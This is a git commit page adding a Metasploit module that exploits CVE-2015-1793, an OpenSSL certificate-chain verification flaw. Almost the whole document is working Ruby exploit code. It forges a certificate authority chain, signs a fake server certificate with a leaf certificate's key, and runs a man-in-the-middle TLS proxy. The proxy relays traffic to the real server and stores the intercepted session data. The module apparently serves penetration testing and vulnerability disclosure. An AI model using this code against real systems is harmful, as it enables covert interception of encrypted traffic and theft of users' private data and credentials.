Add openssl_altchainsforgery_mitm_proxy.rb
This module exploits a logic error in OpenSSL by impersonating the server and sending a specially-crafted chain of certificates, resulting in certain checks on untrusted certificates to be bypassed on the client, allowing it to use a valid leaf certificate as a CA certificate to sign a fake certificate. The SSL/TLS session is then proxied to the server allowing the session to continue normally and application data transmitted between the peers to be saved. This module requires an active man-in-the-middle attack.bug/bundler_fix
parent
f6cdbb65dd
commit
5d6c15a43d
|
@ -0,0 +1,203 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'openssl'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'OpenSSL Alternative Chains Certificate Forgery MITM Proxy',
|
||||
'Description' => %q{
|
||||
This module exploits a logic error in OpenSSL by impersonating the server
|
||||
and sending a specially-crafted chain of certificates, resulting in
|
||||
certain checks on untrusted certificates to be bypassed on the client,
|
||||
allowing it to use a valid leaf certificate as a CA certificate to sign a
|
||||
fake certificate. The SSL/TLS session is then proxied to the server
|
||||
allowing the session to continue normally and application data transmitted
|
||||
between the peers to be saved. This module requires an active
|
||||
man-in-the-middle attack.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Ramon de C Valle'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Service' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service',
|
||||
'References' => [
|
||||
['CVE', '2015-1793'],
|
||||
['CWE', '754'],
|
||||
['URL', 'http://www.openssl.org/news/secadv_20150709.txt'],
|
||||
['URL', 'http://git.openssl.org/?p=openssl.git;a=commit;h=f404943bcab4898d18f3ac1b36479d1d7bbbb9e6']
|
||||
],
|
||||
'DisclosureDate' => 'Jul 9 2015'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CACERT', [ true, "The leaf certificate's CA certificate", nil]),
|
||||
OptString.new('CERT', [ true, 'The leaf certificate', nil]),
|
||||
OptString.new('KEY', [ true, "The leaf certificate's private key", nil]),
|
||||
OptString.new('PASSPHRASE', [ false, "The pass phrase for the leaf certificate's private key", nil]),
|
||||
OptString.new('SUBJECT', [ false, "The subject field for the fake certificate", '/C=US/ST=California/L=Mountain View/O=Example Inc/CN=*.example.com']),
|
||||
OptString.new('HOST', [ true, 'The server address', nil]),
|
||||
OptString.new('PORT', [ true, 'The server port', 443]),
|
||||
OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),
|
||||
OptString.new('SRVPORT', [ true, 'The proxy port', 443])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
host = datastore['HOST']
|
||||
port = datastore['PORT']
|
||||
local_host = datastore['SRVHOST']
|
||||
local_port = datastore['SRVPORT']
|
||||
|
||||
root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
|
||||
root_ca_key = OpenSSL::PKey::RSA.new(2048)
|
||||
root_ca_cert = OpenSSL::X509::Certificate.new
|
||||
root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
|
||||
root_ca_cert.not_after = Time.now + 86400
|
||||
root_ca_cert.not_before = Time.now
|
||||
root_ca_cert.public_key = root_ca_key.public_key
|
||||
root_ca_cert.serial = 0
|
||||
root_ca_cert.subject = root_ca_name
|
||||
root_ca_cert.version = 2
|
||||
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)
|
||||
root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
|
||||
root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
|
||||
root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
|
||||
root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)
|
||||
|
||||
inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')
|
||||
inter_ca_key = OpenSSL::PKey::RSA.new(2048)
|
||||
inter_ca_cert = OpenSSL::X509::Certificate.new
|
||||
inter_ca_cert.issuer = root_ca_name
|
||||
inter_ca_cert.not_after = Time.now + 86400
|
||||
inter_ca_cert.not_before = Time.now
|
||||
inter_ca_cert.public_key = inter_ca_key.public_key
|
||||
inter_ca_cert.serial = 0
|
||||
inter_ca_cert.subject = inter_ca_name
|
||||
inter_ca_cert.version = 2
|
||||
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)
|
||||
inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
|
||||
inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
|
||||
inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
|
||||
inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)
|
||||
|
||||
subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CACERT']))
|
||||
subinter_ca_cert.issuer = inter_ca_name
|
||||
subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)
|
||||
leaf_key = OpenSSL::PKey::RSA.new(File.read(datastore['KEY']), datastore['PASSPHRASE'])
|
||||
leaf_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CERT']))
|
||||
|
||||
fake_name = OpenSSL::X509::Name.parse(datastore['SUBJECT'])
|
||||
fake_key = OpenSSL::PKey::RSA.new(2048)
|
||||
fake_cert = OpenSSL::X509::Certificate.new
|
||||
fake_cert.issuer = leaf_cert.subject
|
||||
fake_cert.not_after = Time.now + 3600
|
||||
fake_cert.not_before = Time.now
|
||||
fake_cert.public_key = fake_key.public_key
|
||||
fake_cert.serial = 0
|
||||
fake_cert.subject = fake_name
|
||||
fake_cert.version = 2
|
||||
extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)
|
||||
fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))
|
||||
fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))
|
||||
fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
|
||||
fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)
|
||||
|
||||
context = OpenSSL::SSL::SSLContext.new
|
||||
context.cert = fake_cert
|
||||
context.extra_chain_cert = [leaf_cert, subinter_ca_cert]
|
||||
context.key = fake_key
|
||||
|
||||
tcp_server = TCPServer.new(local_host, local_port)
|
||||
proxy = OpenSSL::SSL::SSLServer.new(tcp_server, context)
|
||||
print_status('Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]])
|
||||
|
||||
thread_num = 0
|
||||
|
||||
loop do
|
||||
framework.threads.spawn("Thread #{thread_num += 1}", false, proxy.accept) do |client|
|
||||
application_data = ''
|
||||
|
||||
print_status('Accepted connection from %s:%d' % [client.addr[2], client.addr[1]])
|
||||
|
||||
server = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => host,
|
||||
'PeerPort' => port,
|
||||
'SSL' => true,
|
||||
'SSLVerifyMode' => 'NONE',
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self
|
||||
})
|
||||
|
||||
print_status('Connected to %s:%d' % [host, port])
|
||||
|
||||
begin
|
||||
loop do
|
||||
readable, _, _ = IO.select([client, server])
|
||||
|
||||
readable.each do |r|
|
||||
data = r.readpartial(4096)
|
||||
print_status('%d bytes received' % [data.bytesize])
|
||||
|
||||
application_data << data
|
||||
|
||||
case r
|
||||
when client
|
||||
count = server.write(data)
|
||||
server.flush
|
||||
print_status('%d bytes sent' % [count])
|
||||
|
||||
when server
|
||||
count = client.write(data)
|
||||
client.flush
|
||||
print_status('%d bytes sent' % [count])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
rescue EOFError, Errno::ECONNRESET
|
||||
path = store_loot(
|
||||
'tls.application_data',
|
||||
'application/octet-stream',
|
||||
client.addr[2],
|
||||
application_data,
|
||||
'application_data',
|
||||
'TLS session application data'
|
||||
)
|
||||
|
||||
print_good("SSL/TLS session application data successfully stored in #{path}")
|
||||
|
||||
client.close
|
||||
server.close
|
||||
|
||||
next
|
||||
end
|
||||
|
||||
client.close
|
||||
server.close
|
||||
end
|
||||
end
|
||||
|
||||
proxy.close
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue